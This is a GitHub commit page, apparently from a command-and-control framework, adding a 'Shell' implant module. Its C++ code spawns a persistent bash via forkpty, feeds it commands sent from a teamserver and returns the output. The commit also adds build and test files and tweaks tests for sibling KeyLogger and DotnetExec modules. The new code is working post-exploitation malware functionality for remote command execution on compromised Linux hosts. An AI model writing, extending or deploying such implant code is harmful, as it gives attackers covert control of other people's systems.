Skip to content

Commit 2a299c6

Browse files
authored
Merge pull request #7 from maxDcb/codex/add-shell-module-for-interactive-shell
Add interactive Shell module
2 parents 2eeb53d + 1d0f43a commit 2a299c6

File tree

7 files changed

+282
-3
lines changed

7 files changed

+282
-3
lines changed

modules/CMakeLists.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,4 +37,5 @@ add_subdirectory(ScreenShot)
3737
add_subdirectory(MiniDump)
3838
add_subdirectory(DotnetExec)
3939
add_subdirectory(PwSh)
40+
add_subdirectory(Shell)
4041

modules/DotnetExec/tests/testsDotnetExec.cpp

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -389,8 +389,6 @@ bool testDotnetExec()
389389

390390

391391
std::cout << "End of tests " << std::endl;
392-
std::cout << "press a key " << std::endl;
393-
getchar();
394392

395393
return true;
396394
}

modules/KeyLogger/tests/testsKeyLogger.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ bool testKeyLogger()
3737
C2Message c2RetMessage;
3838
keyLogger->process(c2Message, c2RetMessage);
3939

40-
std::this_thread::sleep_for (std::chrono::seconds(20));
40+
std::this_thread::sleep_for (std::chrono::seconds(2));
4141

4242
keyLogger->recurringExec(c2RetMessage) ;
4343
keyLogger->followUp(c2RetMessage);

modules/Shell/CMakeLists.txt

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
include_directories(../)
2+
add_library(Shell SHARED Shell.cpp)
3+
set_property(TARGET Shell PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded")
4+
target_link_libraries(Shell)
5+
add_custom_command(TARGET Shell POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
6+
$<TARGET_FILE:Shell> "${CMAKE_SOURCE_DIR}/Release/Modules/$<TARGET_FILE_NAME:Shell>")
7+
8+
if(WITH_TESTS)
9+
add_executable(testsShell tests/testsShell.cpp Shell.cpp)
10+
target_link_libraries(testsShell)
11+
add_custom_command(TARGET testsShell POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy
12+
$<TARGET_FILE:testsShell> "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsShell>")
13+
add_test(NAME testsShell COMMAND "${CMAKE_SOURCE_DIR}/Tests/$<TARGET_FILE_NAME:testsShell>")
14+
endif()

modules/Shell/Shell.cpp

Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
#include "Shell.hpp"
2+
#include "Common.hpp"
3+
4+
#include <cstring>
5+
#include <pty.h>
6+
#include <unistd.h>
7+
#include <sys/select.h>
8+
#include <sys/wait.h>
9+
#include <chrono>
10+
11+
using namespace std;
12+
13+
constexpr std::string_view moduleName = "shell";
14+
constexpr unsigned long long moduleHash = djb2(moduleName);
15+
16+
#ifdef _WIN32
17+
__declspec(dllexport) Shell* ShellConstructor()
18+
{
19+
return new Shell();
20+
}
21+
#else
22+
__attribute__((visibility("default"))) Shell* ShellConstructor()
23+
{
24+
return new Shell();
25+
}
26+
#endif
27+
28+
Shell::Shell()
29+
#ifdef BUILD_TEAMSERVER
30+
: ModuleCmd(std::string(moduleName), moduleHash)
31+
#else
32+
: ModuleCmd("", moduleHash)
33+
#endif
34+
{
35+
m_masterFd = -1;
36+
m_pid = -1;
37+
m_started = false;
38+
m_program = "/bin/bash";
39+
}
40+
41+
Shell::~Shell()
42+
{
43+
stopShell();
44+
}
45+
46+
std::string Shell::getInfo()
47+
{
48+
std::string info;
49+
#ifdef BUILD_TEAMSERVER
50+
info += "shell:\n";
51+
info += "Launch an interactive bash shell that persists across commands.\n";
52+
info += "Examples:\n";
53+
info += " - shell # start shell\n";
54+
info += " - shell ls -la # run command\n";
55+
info += " - shell exit # stop shell\n";
56+
#endif
57+
return info;
58+
}
59+
60+
int Shell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
61+
{
62+
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
63+
std::string arg;
64+
if(splitedCmd.size() > 1)
65+
{
66+
for(size_t i = 1; i < splitedCmd.size(); ++i)
67+
{
68+
arg += splitedCmd[i];
69+
if(i + 1 < splitedCmd.size())
70+
arg += " ";
71+
}
72+
}
73+
c2Message.set_instruction(splitedCmd[0]);
74+
c2Message.set_cmd(arg);
75+
#endif
76+
return 0;
77+
}
78+
79+
int Shell::followUp(const C2Message &c2RetMessage)
80+
{
81+
return 0;
82+
}
83+
84+
int Shell::errorCodeToMsg(const C2Message &c2RetMessage, std::string &errorMsg)
85+
{
86+
return 0;
87+
}
88+
89+
int Shell::startShell()
90+
{
91+
#ifdef __linux__
92+
if(m_started)
93+
return 0;
94+
95+
pid_t pid = forkpty(&m_masterFd, NULL, NULL, NULL);
96+
if(pid == -1)
97+
return 1;
98+
99+
if(pid == 0)
100+
{
101+
execlp(m_program.c_str(), m_program.c_str(), (char*)NULL);
102+
_exit(1);
103+
}
104+
105+
m_pid = pid;
106+
m_started = true;
107+
return 0;
108+
#else
109+
return 1;
110+
#endif
111+
}
112+
113+
void Shell::stopShell()
114+
{
115+
#ifdef __linux__
116+
if(!m_started)
117+
return;
118+
119+
write(m_masterFd, "exit\n", 5);
120+
int status = 0;
121+
waitpid(m_pid, &status, 0);
122+
close(m_masterFd);
123+
m_masterFd = -1;
124+
m_pid = -1;
125+
m_started = false;
126+
#endif
127+
}
128+
129+
int Shell::process(C2Message &c2Message, C2Message &c2RetMessage)
130+
{
131+
std::string cmd = c2Message.cmd();
132+
133+
#ifdef __linux__
134+
if(!m_started)
135+
{
136+
if(!cmd.empty())
137+
m_program = cmd;
138+
if(startShell() != 0)
139+
{
140+
c2RetMessage.set_errorCode(1);
141+
return 0;
142+
}
143+
if(cmd.empty())
144+
{
145+
c2RetMessage.set_instruction(c2Message.instruction());
146+
c2RetMessage.set_returnvalue("shell started");
147+
return 0;
148+
}
149+
}
150+
151+
if(cmd == "exit")
152+
{
153+
stopShell();
154+
c2RetMessage.set_instruction(c2Message.instruction());
155+
c2RetMessage.set_returnvalue("shell terminated");
156+
return 0;
157+
}
158+
159+
// send command
160+
if(!cmd.empty())
161+
{
162+
write(m_masterFd, cmd.c_str(), cmd.size());
163+
write(m_masterFd, "\n", 1);
164+
}
165+
166+
// read output with timeout
167+
std::string output;
168+
fd_set fds;
169+
struct timeval tv;
170+
char buffer[512];
171+
auto end = std::chrono::steady_clock::now() + std::chrono::seconds(5);
172+
while(std::chrono::steady_clock::now() < end)
173+
{
174+
FD_ZERO(&fds);
175+
FD_SET(m_masterFd, &fds);
176+
tv.tv_sec = 0;
177+
tv.tv_usec = 200000; // 200ms
178+
179+
int r = select(m_masterFd+1, &fds, NULL, NULL, &tv);
180+
if(r > 0 && FD_ISSET(m_masterFd, &fds))
181+
{
182+
ssize_t n = read(m_masterFd, buffer, sizeof(buffer));
183+
if(n > 0)
184+
{
185+
output.append(buffer, n);
186+
end = std::chrono::steady_clock::now() + std::chrono::seconds(2);
187+
}
188+
else
189+
{
190+
break;
191+
}
192+
}
193+
else if(!output.empty())
194+
{
195+
break;
196+
}
197+
}
198+
199+
c2RetMessage.set_instruction(c2Message.instruction());
200+
c2RetMessage.set_returnvalue(output);
201+
#else
202+
c2RetMessage.set_errorCode(1);
203+
#endif
204+
return 0;
205+
}

modules/Shell/Shell.hpp

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
#pragma once
2+
3+
#include "ModuleCmd.hpp"
4+
5+
class Shell : public ModuleCmd
6+
{
7+
public:
8+
Shell();
9+
~Shell();
10+
11+
std::string getInfo();
12+
13+
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
14+
int process(C2Message& c2Message, C2Message& c2RetMessage);
15+
int followUp(const C2Message &c2RetMessage);
16+
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
17+
int osCompatibility()
18+
{
19+
return OS_LINUX;
20+
}
21+
22+
private:
23+
int startShell();
24+
void stopShell();
25+
26+
int m_masterFd;
27+
pid_t m_pid;
28+
std::string m_program;
29+
bool m_started;
30+
};
31+
32+
#ifdef _WIN32
33+
extern "C" __declspec(dllexport) Shell * ShellConstructor();
34+
#else
35+
extern "C" __attribute__((visibility("default"))) Shell * ShellConstructor();
36+
#endif

modules/Shell/tests/testsShell.cpp

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#include "../Shell.hpp"
2+
#include <iostream>
3+
4+
int main()
5+
{
6+
Shell shell;
7+
std::vector<std::string> cmd = {"shell"};
8+
C2Message msg, ret;
9+
shell.init(cmd, msg);
10+
shell.process(msg, ret);
11+
12+
cmd = {"shell", "echo", "hello"};
13+
shell.init(cmd, msg);
14+
msg.set_cmd("echo hello");
15+
shell.process(msg, ret);
16+
bool ok = ret.returnvalue().find("hello") != std::string::npos;
17+
18+
cmd = {"shell", "exit"};
19+
shell.init(cmd, msg);
20+
msg.set_cmd("exit");
21+
shell.process(msg, ret);
22+
23+
std::cout << (ok ? "[+]" : "[-]") << " shell test" << std::endl;
24+
return ok ? 0 : 1;
25+
}

0 commit comments

Comments
 (0)